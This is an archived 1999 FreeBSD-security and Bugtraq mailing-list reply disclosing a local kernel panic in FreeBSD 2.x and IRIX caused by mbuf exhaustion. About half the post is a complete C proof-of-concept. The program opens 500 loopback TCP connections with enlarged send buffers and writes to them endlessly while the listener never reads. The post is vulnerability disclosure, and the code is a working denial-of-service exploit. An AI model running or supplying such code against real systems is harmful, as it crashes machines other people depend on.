Date: Wed, 5 May 1999 17:25:46 -0600 (MDT) From: "David G. Andersen" <danderse@cs.utah.edu> To: Don Lewis <Don.Lewis@tsc.tdk.com> Cc: The Tech-Admin Dude <geniusj@phoenix.unacom.com>, freebsd-security@FreeBSD.ORG, bugtraq@netspace.org Subject: Re: freebsd mbuf crash Message-ID: <14128.53675.396459.783894@torrey.cs.utah.edu> In-Reply-To: Don Lewis's message of Wed, May 5 1999 <199905052315.QAA10024@salsa.gv.tsc.tdk.com> References: <geniusj@phoenix.unacom.com> <199905052315.QAA10024@salsa.gv.tsc.tdk.com>
next in thread | previous in thread | raw e-mail | index | archive | help
There's another fairly easy way to exploit this on pre-3.0 systems, as an aside, but it requires either a fairly slow server process (or one which you can force to block), or local access. The process is simple: connect send a big chunk of data which causes the TCP socket buffers to fill up before the remote process read()s it panic(). I was going to send out a note about this, but since it's fixed in 3.0ish systems, never bothered. But while we're on the topic, there you go. The bug was actually pointed out in an indirect way by the author of a paper at sigcomm, who noticed the phenomenon in NetBSD while they were rewriting the buffer management routines. I just wrote a small test program for it, and found they were right. It also seems to affect IRIX systems, resulting in a hung system. Test program (for local users) is at the end of this message. It creates a socket, listen()s on it, and does nothing. The other process connects to this socket, and sends a bunch of junk. I tested it against an early, early version of 3.0-current, and it appeared to be fixed. Linux and AIX proved happy with it. Never got around to trying it on a Solaris box. CC:'d to bugtraq, since it does affect IRIX too. -Dave Lo and Behold, Don Lewis said: > On May 5, 12:35am, The Tech-Admin Dude wrote: > } Subject: Re: freebsd mbuf crash > } Raise NMBCLUSTERS in kernel config file > > That's the fix for FreeBSD panics caused by running out of mbuf clusters. > > The exploit code that was posted triggered a bug in the IP reassembly code > that was present in 3.0 between August and October last year (ip_input.c > versions 1.100 through 1.102). > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-security" in the body of the message > -- work: danderse@cs.utah.edu me: angio@pobox.com University of Utah http://www.angio.net/ Computer Science - Flux Research Group "What's footnote FIVE?" /* Test program for TCP buffer overflow mbuf panic */ /* Dave Andersen - danderse@cs.utah.edu */ /* netbuf.c - gcc netbuf.c -o netbuf */ #include <sys/types.h> #include <stdio.h> #include <stdlib.h> #include <sys/socket.h> #include <netinet/in.h> #define MAXSOCK 500 #define MY_BUFSIZE 32768 #define MAGICPORT 29833 #ifndef INADDR_LOOPBACK #define INADDR_LOOPBACK 0x7f000001 #endif /* * Compiling: * FreeBSD, AIX: -DHAS_SIN_LEN * Linux, IRIX: */ /* * Vulnerable: * FreeBSD-2.x * IRIX * Not vulnerable: * FreeBSD-3.0 * Linux 2.0.30 * AIX 4.1 */ struct sockaddr_in socka; void doecho() { int ls; ls = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); bind(ls, &socka, sizeof(socka)); listen(ls, MAXSOCK); while (1) { sleep(1); } } int main(int argc, char **argv) { int kidpid; int sendsock[MAXSOCK], recvsock[MAXSOCK]; int i; int sock; int socksize; char buf[MY_BUFSIZE]; socksize = 1048576; bzero(&socka, sizeof(socka)); socka.sin_addr.s_addr = htonl(INADDR_LOOPBACK); #ifdef HAS_SIN_LEN socka.sin_len = sizeof(struct sockaddr_in); #endif socka.sin_family = AF_INET ; socka.sin_port = htons(MAGICPORT); kidpid = fork(); if (kidpid > 0) { doecho(); } else { /* A vague, horrible excuse for synchronization. This * is a demonstration of a kernel flaw, not good coding * style. :-) */ sleep(2); } for (i = 0; i < MAXSOCK; i++) { /* Open the socket connection, set the socket option */ sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); setsockopt(sock, SOL_SOCKET, SO_SNDBUF, &socksize, sizeof(socksize)); sendsock[i] = sock; if (connect(sock, &socka, sizeof(socka))) { perror("could not connect"); } printf("Opened\n"); } printf("Starting the loop\n"); while (1) { for (i = 0; i < MAXSOCK; i++) write(sendsock[i], buf, MY_BUFSIZE); } } To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message
Want to link to this message? Use this URL: <https://mail-archive.FreeBSD.org/cgi/mid.cgi?14128.53675.396459.783894>